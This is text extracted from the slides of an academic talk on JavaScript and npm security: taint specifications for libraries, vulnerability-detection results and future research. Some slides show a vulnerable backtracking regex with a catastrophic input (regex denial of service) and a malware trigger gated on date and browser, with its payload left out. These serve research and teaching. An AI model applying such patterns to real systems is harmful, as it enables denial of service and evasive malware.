const lodash = require("lodash");
```

(root lodash)
## Duality of Interface Points

<table>
<thead>
<tr>
<th>Entry Point</th>
<th>Access Path</th>
<th>Exit Point</th>
</tr>
</thead>
<tbody>
<tr>
<td>module.exports = x; o.f = x; foo(x);</td>
<td>(root foo) (member f) (parameter 0)</td>
<td>require(&quot;foo&quot;); o.f; function(x) {};</td>
</tr>
</tbody>
</table>

(const lodash = require("lodash"); lodash.forEach)

(member forEach (root lodash))
Duality of Interface Points

<table>
<thead>
<tr>
<th>Entry Point</th>
<th>Access Path</th>
<th>Exit Point</th>
</tr>
</thead>
<tbody>
<tr>
<td>module.exports = x; o.f = x; foo(x);</td>
<td>(root foo) (member f) (parameter 0)</td>
<td>require(&quot;foo&quot;); o.f; function(x) {}</td>
</tr>
<tr>
<td>(parameter 0 (member forEach (root lodash)))</td>
<td>const lodash = require(&quot;lodash&quot;); lodash.forEach( dirs,</td>
<td></td>
</tr>
</tbody>
</table>
Duality of Interface Points

<table>
<thead>
<tr>
<th>Entry Point</th>
<th>Access Path</th>
<th>Exit Point</th>
</tr>
</thead>
<tbody>
<tr>
<td>module.exports = x;</td>
<td>(root foo) (member f ◊) (parameter 0 ◊)</td>
<td>require(&quot;foo&quot;); o.f; function(x) {};</td>
</tr>
<tr>
<td>o.f = x;</td>
<td></td>
<td></td>
</tr>
<tr>
<td>foo(x);</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

```
const lodash = require("lodash");
lodash.forEach(dirs, (dir) => {});
```
The additional sink for `rimraf`:

`(parameter 0 (root rimraf))`
Example Library Specifications

The additional sink for rimraf:

\[(\text{parameter 0 (root rimraf)})\]

Propagation in lodash:

```
_.forEach(userInput, function(value) { ... });
```

**Specification**

\[(\text{parameter 0 (member forEach (rootlodash))})\]

\[(\text{parameter 0 (parameter 1 (member forEach (root lodash))))}\]
Challenges for Library Specifications

Specifications format
support complex operations, e.g., callbacks

Automatic extraction
take into consideration npm particularities
Automatic Specifications Extraction

Main Idea

Use dynamic taint analysis for analyzing the library, i.e., mark values at entry points and check taint at exit points.
Main Idea

Use dynamic taint analysis for analyzing the library, i.e., **mark values at entry points and check taint at exit points.**

Specifications

Propagation:
Additional source:
Additional sink:
Main Idea

Use dynamic taint analysis for analyzing the library, i.e., **mark values at entry points and check taint at exit points.**

Client

Npm module

Specifications

Propagation: \( E_1 \rightarrow E_4 \)

Additional source:

Additional sink:
Main Idea

Use dynamic taint analysis for analyzing the library, i.e., **mark values at entry points and check taint at exit points.**

Specifications

Propagation: \( E_1 \rightarrow E_4 \)

Additional source: \( E_2 \)

Additional sink:
Automatic Specifications Extraction

Main Idea

Use dynamic taint analysis for analyzing the library, i.e., **mark values at entry points and check taint at exit points.**

Specifications

Propagation: $E_1 \rightarrow E_4$

Additional source: $E_2$

Additional sink: $E_3$
Experimental Setup

751 npm modules

15,892 total clients

10 minutes timeout

200 clients per module

5,707 clients with taint operations

24 known vulnerabilities
Can We Successfully Extract Specifications?

More than 8,000 specifications
- 7,840 propagations
- 146 additional sinks
- 457 packages with a propagation summary
- 118 packages with an additional sink
Can We Successfully Extract Specifications?

More than 8,000 specifications
- 7,840 propagations
- 146 additional sinks
- 457 packages with a propagation summary
- 118 packages with an additional sink

35% non-trivial specifications
- 595 specifications with instantiated objects
- 1,467 specifications with callbacks
- 1,578 specifications with nested calls
Are the Specifications Useful for Vulnerability Detection?

<table>
<thead>
<tr>
<th>Rule ID</th>
<th>New alerts</th>
</tr>
</thead>
<tbody>
<tr>
<td>js/command-line-injection</td>
<td>2</td>
</tr>
<tr>
<td>js/file-access-to-http</td>
<td>64</td>
</tr>
<tr>
<td>js/path-injection</td>
<td>29</td>
</tr>
<tr>
<td>js/reflected-xss</td>
<td>5</td>
</tr>
<tr>
<td>js/regex-injection</td>
<td>13</td>
</tr>
<tr>
<td>js/remote-property-injection</td>
<td>20</td>
</tr>
<tr>
<td>js/user-controlled-bypass</td>
<td>2</td>
</tr>
<tr>
<td>js/xss</td>
<td>1</td>
</tr>
<tr>
<td><strong>Total</strong></td>
<td><strong>136</strong></td>
</tr>
</tbody>
</table>
Can the Specifications Prevent Vulnerabilities?

- precisely identified the entry point corresponding to 11/24 additional sinks

---

1https://www.npmjs.com/advisories/27
Can the Specifications Prevent Vulnerabilities?

- precisely identified the entry point corresponding to 11/24 additional sinks
- benign input for npm advisory 27:

```javascript
var printer = require("printer");
var benignInput = "printerName";
printer.printDirect(
    {
        data: "Test",
        printer: benignInput,
        success: function (jobID) {
            console.log("sent to printer with ID: " + jobID);
        }
    }
);
```

Additional sink: (member printer (parameter 0 (member printDirect (root printer))))

1https://www.npmjs.com/advisories/27
Our Contributions

**Specification format**

support complex library interactions
Our Contributions

**Specification format**
support complex library interactions

**Automatic extraction**
produce more than 8,000 specifications
Our Contributions

Specification format
support complex library interactions

Automatic extraction
produce more than 8,000 specifications

Aid vulnerability detection
clarifying the contract; enhance static analysis
The risk

Chapter 2
The risk
Chapter 2

The reality
Chapter 5

The fix
Chapter 9

Thank you for your time!
The risk
Chapter 2

The reality
Chapter 5

The fix
Chapter 9

All emojis in this presentation designed by OpenMoji
(https://openmoji.org).
The risk
Chapter 2

The reality
Chapter 5

The fix
Chapter 9

Thank you for your time!

All emojis in this presentation designed by OpenMoji (https://openmoji.org).
PhD Thesis: Full-Stack JavaScript Web Applications

Library developer

Publish npm library

JavaScript code

Execute server-side code

JavaScript code

Execute client-side code

User

Application developer

Develop web application

JavaScript code

JavaScript code

JavaScript code, HTML, images

NDSS 2018
USENIX Sec. 2019a
ICSE 2020
USENIX Sec. 2018
PLAS@CCS 2019
USENIX Sec. 2019b
TheWebConf 2019
Future Work: Next Steps

**Holistic consideration of full-stack threats:**
- end-to-end taint analysis,
- correlations between client- and server-side code.

**Further improve screening of JavaScript libraries:**
- comprehensive exploits suite,
- capability-based system,
- better analysis tools, e.g., more precise callgraph construction.

**Beyond full-stack JavaScript applications:**
- emerging JavaScript use cases,
- support for WebAssembly.
Future Work: Next Leaps

**Malware** unpacking as fuzzing with membranes

```javascript
let date = new Date();
let ua = navigator.userAgent;
let isChrome = /Chrome/.test(ua);
if (date.getDay() == 6 && isChrome)
  // do evil
```

**Performance**/algorithmic complexity to **DoS**

- **PHP**  \(P=50\text{ms}\)
- **Java**  \(P=50\text{ms}\)
- **JavaScript**  \(P=50\text{ms}\)
- **Go**  \(P=50\text{ms}\)

**Usability**: present security relevant facts about libraries

```javascript
(Math.log)

- `log`
- `log10`
- `log1p`
- `log2`
- `LOG10E`
- `LOG2E`

(method) Math.log(x: number): number

Returns the natural logarithm (base e) of a number.
Backtracking-based Matching

```javascript
var regEx = /^a*a*b$/;
```

```
input: "aaaaaaaaaaaaaaaaaaaa"  
```

Input: "aaaaaaaaaaaaaaaaaaaa"
Ethical Considerations

Few payloads
80 requests in total

Iterative probing
most websites use redundancy

Safety mechanism
stop after timeout or error

Vulnerabilities disclosure
the majority of them have been fixed
Extract specification for several libraries at once: taints of a module can only live inside the module or its dependencies.

Propagations: $L_1 \rightarrow L_3, M_1 \rightarrow M_3$

Additional sinks: $M_2, L_2$


